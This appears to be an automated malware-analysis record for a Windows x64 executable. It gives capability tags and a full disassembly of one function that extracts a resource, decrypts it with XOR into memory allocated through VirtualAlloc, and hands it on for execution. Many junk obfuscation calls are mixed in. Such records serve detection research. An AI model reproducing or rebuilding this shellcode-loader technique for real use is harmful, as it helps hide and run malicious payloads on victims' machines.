Function at 0x140006240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov rsi, rcx
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400101d0], rbp
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400101d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x30], eax
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x2953a037f4d300f9
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r8d, edx
mov r9d, edx
call fcn.1400057e0
mov ecx, 0x8c
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0xff
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0x357d
call fcn.1400057e0
mov ecx, 0x80
mov edx, 0x9a752f
call fcn.1400057e0
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x28]
mov ecx, 0xff
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0x1bb
call fcn.1400057e0
movabs rcx, 0x8eaa7dc21c149000
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x17
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov ecx, 0xff
mov edx, 0x34dc7a
mov r8d, 0x10
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0x71e1
call fcn.1400057e0
mov ecx, 0xf4
mov edx, 0x9fd9fa
call fcn.1400057e0
mov r8d, dword [rsp + 0x28]
mov ecx, 0xff
mov edx, 0x40
call fcn.1400057e0
mov ecx, 0x2a97
call fcn.1400057e0
movabs rdi, 0xfe27133ecc3b130
mov rcx, rdi
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xf6
mov r8d, 0x5a
mov r9d, 0xf1
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xeffff8
mov r8d, 0x8d
mov r9d, 0xc4
call fcn.1400057e0
mov ecx, 2
mov edx, 0x3f1c92
call fcn.1400057e0
or rdi, 4
mov edx, dword [rsp + 0x28]
mov rcx, rdi
mov r8d, edx
call fcn.1400057e0
mov rcx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x28]
call fcn.1400057e0
mov rdi, rax
mov edx, dword [rsp + 0x28]
mov ecx, 0x1000
call fcn.1400057e0
mov rbx, rax
mov edx, dword [rsp + 0x28]
mov ecx, 4
call fcn.1400057e0
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, eax
call rbp
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call fcn.1400057b0
cmp qword [rsp + 0x58], 0
setne byte [rsp + 0x2f]
movzx eax, byte [rsp + 0x2f]
mov edx, dword [rsp + 0x28]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xe8
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x92
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, 0x97a42d
call fcn.1400057e0
mov edx, 0x64
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x30]
cmp ecx, eax
setne byte [rsp + 0x27]
mov ecx, 0x12
mov edx, 0x34
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0xcce9
call fcn.1400057e0
mov edx, dword [rsp + 0x28]
mov ecx, 0x9f
mov r8d, 0xbf
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov ecx, 0xff
mov edx, 0x59
call fcn.1400057e0
mov ecx, 0x69c5
call fcn.1400057e0
movzx eax, byte [rsp + 0x2f]
and al, byte [rsp + 0x27]
and al, 1
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x2e]
cmp al, 1
jne 0x1400076a3
mov rsi, qword [rsp + 0x50]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0xe3fb834b90b434b
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
movzx eax, byte [rsp + 0x2f]
movzx eax, byte [rsp + 0x2e]
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0xf1c047cb46f4bcba
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 5
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, dword [rsp + 0x30]
cmp ecx, eax
seta byte [rsp + 0x36]
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rsp + 0x36]
mov qword [rsp + 0x70], rax
cmp cl, 1
jne 0x14000772d
mov rax, qword [rsp + 0x58]
mov r12d, dword [rax]
movzx eax, byte [rsp + 0x27]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov ecx, 1
mov edx, r12d
call fcn.1400057e0
movabs r14, 0x70753b9d501d9156
lea rcx, [r14 + 0x2e486cce]
mov edx, r12d
call fcn.1400057e0
mov rbp, rax
xor ecx, ecx
mov edx, r12d
call fcn.1400057e0
mov r15, rax
xor r15d, ebp
mov rsi, qword [rsp + 0x50]
movzx r13d, byte [rsp + 0x2f]
mov ecx, 0xffffffff
call fcn.1400057e0
mov rbp, rax
xor ebp, r13d
or ebp, esi
mov ebx, esi
or ebx, r13d
mov ecx, 0xffffffff
mov edx, r12d
call fcn.1400057e0
mov rdi, rax
xor edi, ebx
mov ecx, 0xfffffffd
call fcn.1400057e0
mov rbx, rax
imul ebx, edi
mov ecx, 0xffffffff
mov edx, r12d
call fcn.1400057e0
mov rdi, rax
xor edi, esi
mov ecx, 2
call fcn.1400057e0
imul eax, edi
sub eax, r13d
xor esi, r13d
sub esi, ebp
sub esi, ebx
xor esi, eax
mov rcx, r14
mov edx, r12d
call fcn.1400057e0
add eax, esi
xor eax, r15d
cmp r12d, eax
sete byte [rsp + 0x37]
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rsp + 0x37]
mov qword [rsp + 0x70], rax
cmp cl, 1
jne 0x14000772d
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
mov byte [rsp + 0x26], al
movzx eax, byte [rsp + 0x26]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x38], ecx
movzx eax, byte [rsp + 0x27]
movzx edx, byte [rsp + 0x26]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
movzx edx, byte [rsp + 0x26]
mov ecx, 0xffffffff
mov r8d, edx
call fcn.1400057e0
movzx r8d, byte [rsp + 0x26]
mov ecx, 2
mov edx, 0x49
mov r9d, 0x92e624
call fcn.1400057e0
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
movzx edx, byte [rsp + 0x26]
xor ecx, ecx
call fcn.1400057e0
mov rsi, rax
movzx ebx, byte [rsp + 0x26]
movzx eax, byte [rsp + 0x27]
mov ecx, 0xef
mov edx, 0x46
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
movzx edx, byte [rsp + 0x26]
mov ecx, 0xff
call fcn.1400057e0
movzx r8d, byte [rsp + 0x26]
mov ecx, 0x3aa9
mov edx, 0xf94c91
call fcn.1400057e0
movzx edx, byte [rsp + 0x26]
mov ecx, 0xd2
call fcn.1400057e0
movzx r8d, byte [rsp + 0x26]
mov ecx, 0xff
mov edx, 0xad
call fcn.1400057e0
mov ecx, 0xfc65
mov edx, 0x3f
call fcn.1400057e0
movabs rdi, 0x4d9aa785d264b28b
lea rcx, [rdi + 4]
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movzx eax, byte [rsp + 0x2e]
movzx r8d, byte [rsp + 0x26]
mov ecx, 1
mov edx, 0xb6
call fcn.1400057e0
mov edx, 0x7df145
mov rcx, rdi
call fcn.1400057e0
movzx r8d, byte [rsp + 0x26]
mov edx, 0xb1
xor ecx, ecx
call fcn.1400057e0
movzx edx, byte [rsp + 0x26]
mov ecx, 4
call fcn.1400057e0
mov rdi, rax
mov ebp, dword [rsp + 0x38]
mov ecx, 1
mov edx, 0xe6be06
call fcn.1400057e0
cmp bl, sil
je 0x14000773e
cmp ebp, edi
jle 0x14000773e
movzx eax, byte [rsp + 0x26]
mov qword [rsp + 0x40], rax
movzx eax, byte [rsp + 0x26]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov ecx, 1
mov edx, 0x24
call fcn.1400057e0
movabs rsi, 0x197034bb88c0b549
lea rcx, [rsi + 4]
mov edx, 0x3a0a84
call fcn.1400057e0
movzx eax, byte [rsp + 0x27]
mov ecx, 0xffffffff
mov edx, 0x43f0b0
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov ecx, 0xffffffff
mov edx, 0x1b
call fcn.1400057e0
mov rdx, qword [rsp + 0x40]
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov rcx, rsi
call fcn.1400057e0
mov ecx, 4
call fcn.1400057e0
add rax, qword [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x58]
add rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x80]
movzx eax, byte [rsp + 0x2e]
mov ecx, 0xffffffff
call fcn.1400057e0
mov rdx, qword [rsp + 0x40]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov rdx, qword [rsp + 0x40]
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0xa8aad172f7ba20ad
mov edx, 0x28
call fcn.1400057e0
movzx eax, byte [rsp + 0x27]
mov ecx, 1
mov edx, 0xbb415f
call fcn.1400057e0
movabs rcx, 0xf32a30e383d2b047
mov edx, 0x5f
mov r8d, 0xb4
call fcn.1400057e0
mov ecx, 0xfffffffb
call fcn.1400057e0
add eax, dword [rsp + 0x38]
mov dword [rsp + 0x4c], eax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rsp + 0x27]
mov ecx, 0xfb
mov edx, 0x5a
mov r8d, 0x5f
call fcn.1400057e0
mov rdx, qword [rsp + 0x40]
mov ecx, 0xff
call fcn.1400057e0
mov r8, qword [rsp + 0x40]
mov ecx, 0x5471
mov edx, 0x88
call fcn.1400057e0
mov rdx, qword [rsp + 0x40]
mov ecx, 0xf6
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x7663
mov edx, 0x71
mov r8d, 0xc4
call fcn.1400057e0
movabs rdi, 0x7f68ab8444b6fdc5
mov edx, 0xb4
mov rcx, rdi
call fcn.1400057e0
mov rbx, rax
mov edx, 0x7a
xor ecx, ecx
call fcn.1400057e0
mov rsi, rax
add esi, ebx
mov rax, qword [rsp + 0x80]
movzx eax, byte [rsp + 0x27]
mov ecx, 1
xor edx, edx
call fcn.1400057e0
or rdi, 2
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call fcn.1400057e0
mov rdi, rax
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call fcn.1400057e0
xor eax, edi
xor eax, esi
mov ecx, dword [rsp + 0x4c]
cmp ecx, eax
setb byte [rsp + 0x3d]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
cmp byte [rsp + 0x3d], 0
jne 0x14000772d
movzx esi, byte [rsp + 0x36]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov ecx, 1
mov edx, 0x16
call fcn.1400057e0
movabs rcx, 0x5920d51c20548ff9
mov edx, esi
call fcn.1400057e0
mov edx, 0xdc7be8
xor ecx, ecx
call fcn.1400057e0
mov rax, qword [rsp + 0x80]
movzx eax, byte [rsp + 0x26]
mov ecx, 1
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffc
mov edx, esi
call fcn.1400057e0
mov r14, rax
add r14d, dword [rsp + 0x38]
mov qword [rsp + 0x68], r14
mov edi, dword [rsp + 0x28]
add edi, dword [rsp + 0x30]
mov eax, dword [rsp + 0x28]
xor eax, dword [rsp + 0x30]
sub edi, eax
mov ebx, dword [rsp + 0x28]
and ebx, dword [rsp + 0x30]
mov ecx, 1
mov edx, esi
call fcn.1400057e0
mov ecx, eax
shl ebx, cl
movabs r15, 0x2a441123e2a78144
lea rcx, [r15 + 1]
mov edx, 0xaad464
call fcn.1400057e0
mov r12, rax
xor r12d, edi
xor r12d, ebx
mov rbx, qword [rsp + 0x68]
mov ecx, 0x73
mov edx, 0xba
call fcn.1400057e0
mov rdi, rax
or edi, ebx
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov rbp, rax
and ebp, edi
imul ebp, ebp
mov ecx, 0x64c7
mov edx, 0x24
call fcn.1400057e0
mov rdi, rax
imul edi, ebp
mov ecx, 0x47
mov edx, 0x320e3e
call fcn.1400057e0
mov rbp, rax
or ebp, dword [rsp + 0x30]
mov ecx, 0xff
mov edx, 0x7d
call fcn.1400057e0
mov rbx, rax
and ebx, ebp
imul ebx, ebx
mov ecx, 0x3533
mov edx, esi
mov r8d, esi
call fcn.1400057e0
imul eax, ebx
xor ebx, ebx
cmp edi, eax
sete bl
mov rcx, r15
call fcn.1400057e0
neg ebx
xor eax, ebx
xor eax, r12d
movzx ecx, byte [rsp + 0x26]
cmp cl, al
seta byte [rsp + 0x3e]
mov rax, qword [rsp + 0x40]
movzx eax, byte [rsp + 0x37]
mov ecx, 1
mov edx, 0xfa
mov r8d, 0xa2
call fcn.1400057e0
movabs rcx, 0x1d3d4536a3b07711
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov rax, qword [rsp + 0x68]
movzx eax, byte [rsp + 0x37]
mov ecx, 0xffffffff
mov edx, 0x49
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov r9d, 0xc6
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0xa8
mov r9d, 0x896299
mov edx, esi
call fcn.1400057e0
mov ecx, 2
mov edx, 0xed
mov r8d, 0x4d
call fcn.1400057e0
movabs rcx, 0xe2c2bac95c4f88f1
call fcn.1400057e0
movzx eax, byte [rsp + 0x3d]
movzx eax, byte [rsp + 0x2f]
mov ecx, 1
mov edx, esi
call fcn.1400057e0
movabs rbx, 0x2412af7a7eb31222
lea rcx, [rbx + 1]
mov edx, 0xfa
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x9f
mov r8d, esi
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x4c]
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov eax, dword [rsp + 0x4c]
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x4c]
mov rcx, rbx
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
movzx eax, byte [rsp + 0x3e]
inc rax
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0x2e]
mov rax, qword [rsp + 0x68]
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xd
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xf6
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rdi, 0x4d38d0c7efb06184
lea rcx, [rdi + 1]
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movzx eax, byte [rsp + 0x2e]
mov ecx, 1
mov edx, 0xf6
mov r8d, esi
call fcn.1400057e0
mov rcx, rdi
call fcn.1400057e0
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400057e0
and rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x68]
mov ecx, 0x1f
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x68
mov edx, esi
call fcn.1400057e0
mov ecx, 0x143b
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x39
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x2cff
mov edx, esi
call fcn.1400057e0
movabs rcx, 0x6c9ed0df62b748b4
mov edx, esi
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
movzx eax, byte [rsp + 0x27]
mov ecx, 0xf5
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x759d
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x7c
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0xb6
mov edx, esi
call fcn.1400057e0
mov ecx, 0x5e2d
mov edx, esi
call fcn.1400057e0
movabs rcx, 0x93612f209d48b74f
mov r8d, 0x3f
mov edx, esi
call fcn.1400057e0
mov ecx, 3
mov edx, esi
call fcn.1400057e0
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0x98], 2
cmp r14d, eax
je 0x1400075e0
movabs r13, 0x705457bb4eb19d4c
mov r15, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x36]
mov ecx, 1
mov edx, r15d
call fcn.1400057e0
movabs rcx, 0x73ae0df55dd7b5c5
call fcn.1400057e0
mov rbp, rax
xor ecx, ecx
mov edx, r15d
call fcn.1400057e0
mov r14, rax
add r14, rbp
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x90]
mov ecx, 0xffffffff
mov edx, 0x535bfd
call fcn.1400057e0
mov rbp, rax
xor ebp, r12d
or ebp, edi
mov esi, edi
or esi, r12d
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
mov rbx, rax
xor ebx, esi
mov ecx, 0xfffffffd
mov edx, 0x10
mov r8d, 0x45b110
call fcn.1400057e0
mov rsi, rax
imul esi, ebx
mov ecx, 0xffffffff
call fcn.1400057e0
mov rbx, rax
xor ebx, edi
mov ecx, 2
call fcn.1400057e0
imul eax, ebx
sub eax, r12d
xor edi, r12d
sub edi, ebp
sub edi, esi
xor edi, eax
movabs rcx, 0x6d6f698d2343fde6
mov r8d, 0xc8
mov edx, r15d
call fcn.1400057e0
mov rbp, rax
add rbp, rdi
imul rbp, r14
add rbp, qword [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x88]
mov ecx, 1
mov edx, 0x45b4d0
mov r8d, r15d
call fcn.1400057e0
movabs rcx, 0x7906f65cd3b3a87
call fcn.1400057e0
xor ecx, ecx
mov edx, r15d
call fcn.1400057e0
movzx eax, byte [rsp + 0x3e]
mov ecx, 0xffffffff
mov edx, 0x51
mov r8d, r15d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xb6
mov r8d, r15d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r15d
call fcn.1400057e0
mov ecx, 2
mov edx, r15d
call fcn.1400057e0
movabs rcx, 0xf86f909a32c4c579
call fcn.1400057e0
mov rcx, 0xfffffffffffffffe
mov edx, r15d
call fcn.1400057e0
and rax, rbp
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xb0], 2
mov qword [rsp + 0xa8], 0
movabs rbp, 0xaca33569fbc74735
nop dword [rax]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb0]
mov r14, qword [rsp + 0xb8]
cmp r14, qword [rsp + 0x40]
mov edi, 0
cmovb rdi, r14
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0x7afafa69
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0xc5b963
mov r8d, 0x2d
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, 0xca023d
mov r8, r14
call fcn.1400057e0
mov ecx, 0x1010104
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov ecx, 0xb071544
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rax + rbx]
mov rdx, qword [rsp + 0x78]
xor cl, byte [rdx + rdi]
mov byte [rax + rbx], cl
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x34
call fcn.1400057e0
mov ecx, 2
mov edx, 0x7d
call fcn.1400057e0
xor ecx, ecx
mov rdx, r14
call fcn.1400057e0
mov ecx, 1
mov rdx, r14
call fcn.1400057e0
movabs rcx, 0x9819b053a8ee71af
mov rdx, r14
mov r8, r14
call fcn.1400057e0
xor ecx, ecx
mov rdx, r14
call fcn.1400057e0
mov ecx, 1
mov rdx, r14
call fcn.1400057e0
mov r15, rax
add r15, rdi
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0x44f5a5531dbca560
call fcn.1400057e0
xor ecx, ecx
mov rdx, r14
call fcn.1400057e0
mov ecx, 0x72
call fcn.1400057e0
mov ecx, 0xff
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xc0d9
mov rdx, r14
call fcn.1400057e0
mov ecx, 0x1a
mov edx, 0x90
mov r8, r14
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x564397
mov r8, r14
call fcn.1400057e0
mov ecx, 0x7877
mov rdx, r14
call fcn.1400057e0
movabs rcx, 0xbb0a5aace2435aa1
call fcn.1400057e0
mov edx, 0xc7b8c5
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov edx, 0xc7603c
call fcn.1400057e0
mov rdi, rax
or rdi, rbx
cmp r15, qword [rsp + 0x40]
mov eax, 0
cmovae r15, rax
mov ecx, 0x54
mov r8d, 0x66b25f
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xd7182f
call fcn.1400057e0
mov ecx, 0xb50d
call fcn.1400057e0
mov ecx, 0xa1
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xff
mov rdx, r14
call fcn.1400057e0
mov ecx, 0x7603
call fcn.1400057e0
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rax + rdi]
mov rdx, qword [rsp + 0x78]
xor cl, byte [rdx + r15]
mov byte [rax + rdi], cl
mov ecx, 1
call fcn.1400057e0
mov rcx, r13
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
lea rcx, [r13 + 1]
call fcn.1400057e0
mov edx, 0x96
mov r8d, 0x46
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
mov r12, rax
add r12, r15
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xa1d988
mov r8, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov edx, 0x6d
movabs rcx, 0x7690cf859187a09d
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400057e0
mov ecx, 2
mov rdx, r14
mov r8, r14
call fcn.1400057e0
movabs rcx, 0x896f307a6e785f65
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov rdi, rax
add rdi, rbx
mov ecx, 0x35
mov edx, 0x34
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x24c5
call fcn.1400057e0
mov ecx, 0xb1
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0xe4
mov rdx, r14
call fcn.1400057e0
mov ecx, 0x2861
mov rdx, r14
call fcn.1400057e0
mov edx, 0x46
mov r9d, 0x6d
movabs rcx, 0x535cca960438b8cd
mov r8, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x22
mov r8, r14
mov r9, r14
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov rcx, rbp
mov rdx, r14
mov r8, r14
call fcn.1400057e0
mov edx, 0x6b
xor ecx, ecx
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
add rax, rsi
cmp rax, qword [rsp + 0xd8]
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x98], rdi
jne 0x140007170
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xc8], rax
xor ecx, ecx
call fcn.1400057e0
mov rcx, qword [rsp + 0x90]
cmp rcx, rax
sete byte [rsp + 0x3f]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
cmp byte [rsp + 0x3f], 0
jne 0x14000772d
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0xc8]
xor r13d, r13d
cmp r14, rsi
setb bl
movzx ebp, byte [rsp + 0x3f]
mov ecx, 0xffffffff
call fcn.1400057e0
mov r12, rax
mov ecx, 0xffffffff
mov edx, ebx
call fcn.1400057e0
mov r15, rax
mov ecx, 0xfffffffd
mov edx, 0xad
mov r8d, ebx
call fcn.1400057e0
mov qword [rsp + 0xd0], rax
mov ecx, 0xffffffff
call fcn.1400057e0
mov rdi, rax
mov ecx, 2
call fcn.1400057e0
cmp r14, rsi
jae 0x1400076d8
mov rbp, qword [rsp + 0xc8]
jmp 0x140007707
mov edx, 0xe4
xor ecx, ecx
call fcn.1400057e0
lea rdx, [0x14000f05b]
xor ecx, ecx
xor r8d, r8d
mov r9d, eax
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
mov r13b, bl
xor r12d, r13d
or r12d, ebp
mov ecx, ebp
or ecx, r13d
xor r15d, ecx
mov rcx, qword [rsp + 0xd0]
imul ecx, r15d
xor edi, ebp
imul eax, edi
sub eax, r13d
xor ebp, r13d
sub ebp, r12d
sub ebp, ecx
xor ebp, eax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xe0]
movzx edx, byte [rax + rcx]
mov rbx, qword [rsp + 0x78]
xor dl, byte [rbx + rbp]
mov byte [rax + rcx], dl
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
lea rdx, str.5vL95_b98r3z_Opp6nr58
call fcn.140001000
mov rcx, qword [rsp + 0xc0]
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jne 0x14001e6d7
jne 0x14001e663
push qword [rbp + 0x75]
jne 0x14001e6db
jne 0x14001e667
